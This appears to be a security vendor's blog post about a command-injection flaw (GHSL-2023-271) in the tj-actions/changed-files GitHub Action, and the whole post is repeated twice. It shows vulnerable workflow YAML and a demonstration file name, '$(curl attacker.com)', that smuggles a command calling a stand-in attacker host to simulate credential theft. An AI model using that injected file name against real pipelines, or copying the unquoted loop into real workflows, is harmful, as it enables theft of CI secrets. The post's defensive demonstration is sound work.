Resources

Harden-Runner Defends Against Arbitrary Command Execution in tj-actions/changed-files GitHub Action

Learn about the critical vulnerability in tj-actions/changed-files GitHub Action and how StepSecurity's solution fortifies your CI/CD pipelines against potential exploits.

Ashish Kurmi
March 11, 2024

Table of Contents

Table of Contents

Introduction

A security researcher recently reported an arbitrary command execution vulnerability in the popular tj-actions/changed-files GitHub Action. This Action tracks all changed files and directories relative to a target branch or custom commits and returns relative paths from the project root using this GitHub action. It is currently used by more than 12,700 public repositories and several enterprise customers.

By exploiting this vulnerability, an adversary can steal CI/CD credentials, compromise proprietary source code, and maliciously tamper release builds to inject backdoors. Given its widespread adoption, the vulnerability put many organizations at risk, especially those using the Action in deployment workflows with admin cloud credentials to generate production builds. Additionally, as the Action is commonly used with the pull_request event, adversaries could compromise open-source repositories by simply opening a malicious pull request.

StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD. In this blog post, we’ll discover how exactly the vulnerability works and how StepSecurity protects GitHub Action workflows from such vulnerabilities.  

Understanding the vulnerability GHSL-2023-271_changed-files

At the heart of GHSL-2023-271 lies a critical oversight in the handling of special characters within file names. While the Action handled double quotes within file names correctly, it didn't properly handle other special characters like semicolons and backticks. As a result, malicious actors could exploit this vulnerability to inject arbitrary commands and compromise GitHub Action workflows. You can find a detailed explanation of the vulnerability in the GitHub Security Lab advisory GHSL-2023-271_changed-files.

The Solution: StepSecurity GitHub Actions Security Platform

StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD environments. Harden-Runner stands as a guardian against vulnerabilities like GHSL-2023-271. We recently published a case study on how Bazel defended itself against a CI/CD Supply Chain Vulnerability with Harden-Runner. In this blog post, we will explain how our enterprise and open-source customers are protected against unpatched GHSL-2023-271_changed-files vulnerability.

Here's a testimonial from one of our enterprise customers highlighting how StepSecurity protects their repositories from GHSL-2023-271:

“We got this in pretty much all our repositories recently- https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/. Its used a lot everywhere. Instantly knew StepSecurity was protecting me”
-Cam Parry, Staff Site Reliability Engineer, Kapiche

GHSL-2023-271_changed-files Proof of Concept

To better understand the vulnerability and how StepSecurity Harden-Runner mitigates it, let's create a proof-of-concept workflow and run the PoC with Harden-Runner and without Harden-Runner to see the difference.

Vulnerable Workflow

Typically, the tj-actions/changed-files step is used to generate the list of changed files, and another step in the job iterates over the list to perform certain activities. For example, this approach could be used to selectively run test cases based on changed files in the pull request instead of running the entire test suite. Another popular use case is to use tj-actions/changed-files Action in deployment workflows to detect if a new deployment is required once a code change is merged. For example, when changes related to unit testing are merged in the main branch, a production deployment need not be triggered.

The GitHub Actions workflow below shows the typical use case for tj-actions/changed-files where the Action is used to discover all the changed files in a pull request. It’s using the vulnerable version of the Action.

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

Let’s see what happens when an adversary tries to create a malicious pull request with and without harden-runner. For this exercise, we will use GitHub Actions Goat.

Without Harden-Runner

We have hosted the vulnerable workflow without Harden-Runner in the GitHub Actions Goat repository.

# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-Files Vulnerability: Without Harden-Runner"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

Let's create a malicious pull request and see what happens when the workflow is executed without Harden-Runner protection. To exploit this vulnerability, we will create a commit with a file name that includes a command injection exploit. Let’s simulate the credential exfiltration scenario where the adversary steals all CI/CD credentials and exfiltrate it to a malicious endpoint. After creating this commit, we will create a pull request to run the vulnerable workflow.

To demonstrate this malicious scenario, we have created the following pull request:

Malicious pull request made by us
Screenshot of the Malicious Pull Request. Access here: https://github.com/step-security/github-actions-goat/pull/179

This malicious commit creates a file named $(curl attacker.com). When this file name is referenced in List all changed files step, it executes “curl attacker.com” to simulate CI/CD credential exfiltration to an attacker-controlled remote endpoint.

Let’s see what happened when the pull request was created. Under the list of checks for the pull request, we see that the workflow without Harden-Runner was executed successfully.  

Execution of workflow without Harden-Runner
The Workflow without Harden-Runner Passed the Checks

If we click on Details link and look at the GitHub Action logs for List all changed files step, we see that the vulnerability was successfully exploited as the exploit made an outbound call to attacker.com

Oubound call being made to attacker.com
Screenshot Showing the Outbound Call to attacker.com. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296500/job/22381368850?pr=179

With Harden-Runner

Now let’s see what happens when the same workflow is executed with Harden-Runner enabled. This workflow is hosted here.

# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-Files Vulnerability: With Harden-Runner"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@v2
        with:
          disable-sudo: true
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

When the above malicious pull request was created, the vulnerable workflow with Harden-Runner was executed as well. Let’s see how Harden-Runner prevented exploitation of this vulnerability.

Execution of workflow with Harden-Runner
Screenshot Showing Execution of Workflow with Harden-Runner

If we look at the GitHub Action logs for List all changed files step, we see that Harden-Runner blocked the malicious outbound connection.

Screenshot showing the outbound call being blocked by Harden-Runner
Screenshot Showing Malicious Outbound Connection Being Blocked. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296501/job/22381368854?pr=179

The Harden-Runner insights for this page also shows that the outbound connection was blocked.

Report showing blocked outbound call by Harden-Runner
Report Confirming the Outbound Call being Blocked. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296501
Network events showing blocked outbound call by Harden-Runner
The Blocked Outbound Call is Also Seen in Network Events. Access here: https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/8185296501

StepSecurity enterprise customers also receive a detection notification to alert the Security Operations Center (SOC) team when a security event is detected by the platform.

Conclusion

StepSecurity platform has preventative, detective and responsive security controls for GitHub Actions. From helping you choose secure third-party GitHub Actions, fixing common security misconfigurations in Action workflow files, and providing network egress filtering and runtime security, StepSecurity platform helps enterprise and open-source organizations secure their GitHub Action environments.  

If you are an open-source maintainer, you can use our community tier for free in your projects by visiting https://app.stepsecurity.io/securerepo. If you are an enterprise user, you can start a free trial by installing our GitHub App below.  

Introduction

A security researcher recently reported an arbitrary command execution vulnerability in the popular tj-actions/changed-files GitHub Action. This Action tracks all changed files and directories relative to a target branch or custom commits and returns relative paths from the project root using this GitHub action. It is currently used by more than 12,700 public repositories and several enterprise customers.

By exploiting this vulnerability, an adversary can steal CI/CD credentials, compromise proprietary source code, and maliciously tamper release builds to inject backdoors. Given its widespread adoption, the vulnerability put many organizations at risk, especially those using the Action in deployment workflows with admin cloud credentials to generate production builds. Additionally, as the Action is commonly used with the pull_request event, adversaries could compromise open-source repositories by simply opening a malicious pull request.

StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD. In this blog post, we’ll discover how exactly the vulnerability works and how StepSecurity protects GitHub Action workflows from such vulnerabilities.  

Understanding the vulnerability GHSL-2023-271_changed-files

At the heart of GHSL-2023-271 lies a critical oversight in the handling of special characters within file names. While the Action handled double quotes within file names correctly, it didn't properly handle other special characters like semicolons and backticks. As a result, malicious actors could exploit this vulnerability to inject arbitrary commands and compromise GitHub Action workflows. You can find a detailed explanation of the vulnerability in the GitHub Security Lab advisory GHSL-2023-271_changed-files.

The Solution: StepSecurity GitHub Actions Security Platform

StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD environments. Harden-Runner stands as a guardian against vulnerabilities like GHSL-2023-271. We recently published a case study on how Bazel defended itself against a CI/CD Supply Chain Vulnerability with Harden-Runner. In this blog post, we will explain how our enterprise and open-source customers are protected against unpatched GHSL-2023-271_changed-files vulnerability.

Here's a testimonial from one of our enterprise customers highlighting how StepSecurity protects their repositories from GHSL-2023-271:

“We got this in pretty much all our repositories recently- https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/. Its used a lot everywhere. Instantly knew StepSecurity was protecting me”
-Cam Parry, Staff Site Reliability Engineer, Kapiche

GHSL-2023-271_changed-files Proof of Concept

To better understand the vulnerability and how StepSecurity Harden-Runner mitigates it, let's create a proof-of-concept workflow and run the PoC with Harden-Runner and without Harden-Runner to see the difference.

Vulnerable Workflow

Typically, the tj-actions/changed-files step is used to generate the list of changed files, and another step in the job iterates over the list to perform certain activities. For example, this approach could be used to selectively run test cases based on changed files in the pull request instead of running the entire test suite. Another popular use case is to use tj-actions/changed-files Action in deployment workflows to detect if a new deployment is required once a code change is merged. For example, when changes related to unit testing are merged in the main branch, a production deployment need not be triggered.

The GitHub Actions workflow below shows the typical use case for tj-actions/changed-files where the Action is used to discover all the changed files in a pull request. It’s using the vulnerable version of the Action.

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

Let’s see what happens when an adversary tries to create a malicious pull request with and without harden-runner. For this exercise, we will use GitHub Actions Goat.

Without Harden-Runner

We have hosted the vulnerable workflow without Harden-Runner in the GitHub Actions Goat repository.

# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-Files Vulnerability: Without Harden-Runner"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

Let's create a malicious pull request and see what happens when the workflow is executed without Harden-Runner protection. To exploit this vulnerability, we will create a commit with a file name that includes a command injection exploit. Let’s simulate the credential exfiltration scenario where the adversary steals all CI/CD credentials and exfiltrate it to a malicious endpoint. After creating this commit, we will create a pull request to run the vulnerable workflow.

To demonstrate this malicious scenario, we have created the following pull request:

Malicious pull request made by us
Screenshot of the Malicious Pull Request. Access here: https://github.com/step-security/github-actions-goat/pull/179

This malicious commit creates a file named $(curl attacker.com). When this file name is referenced in List all changed files step, it executes “curl attacker.com” to simulate CI/CD credential exfiltration to an attacker-controlled remote endpoint.

Let’s see what happened when the pull request was created. Under the list of checks for the pull request, we see that the workflow without Harden-Runner was executed successfully.  

Execution of workflow without Harden-Runner
The Workflow without Harden-Runner Passed the Checks

If we click on Details link and look at the GitHub Action logs for List all changed files step, we see that the vulnerability was successfully exploited as the exploit made an outbound call to attacker.com

Oubound call being made to attacker.com
Screenshot Showing the Outbound Call to attacker.com. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296500/job/22381368850?pr=179

With Harden-Runner

Now let’s see what happens when the same workflow is executed with Harden-Runner enabled. This workflow is hosted here.

# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-Files Vulnerability: With Harden-Runner"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@v2
        with:
          disable-sudo: true
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done

When the above malicious pull request was created, the vulnerable workflow with Harden-Runner was executed as well. Let’s see how Harden-Runner prevented exploitation of this vulnerability.

Execution of workflow with Harden-Runner
Screenshot Showing Execution of Workflow with Harden-Runner

If we look at the GitHub Action logs for List all changed files step, we see that Harden-Runner blocked the malicious outbound connection.

Screenshot showing the outbound call being blocked by Harden-Runner
Screenshot Showing Malicious Outbound Connection Being Blocked. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296501/job/22381368854?pr=179

The Harden-Runner insights for this page also shows that the outbound connection was blocked.

Report showing blocked outbound call by Harden-Runner
Report Confirming the Outbound Call being Blocked. Access here: https://github.com/step-security/github-actions-goat/actions/runs/8185296501
Network events showing blocked outbound call by Harden-Runner
The Blocked Outbound Call is Also Seen in Network Events. Access here: https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/8185296501

StepSecurity enterprise customers also receive a detection notification to alert the Security Operations Center (SOC) team when a security event is detected by the platform.

Conclusion

StepSecurity platform has preventative, detective and responsive security controls for GitHub Actions. From helping you choose secure third-party GitHub Actions, fixing common security misconfigurations in Action workflow files, and providing network egress filtering and runtime security, StepSecurity platform helps enterprise and open-source organizations secure their GitHub Action environments.  

If you are an open-source maintainer, you can use our community tier for free in your projects by visiting https://app.stepsecurity.io/securerepo. If you are an enterprise user, you can start a free trial by installing our GitHub App below.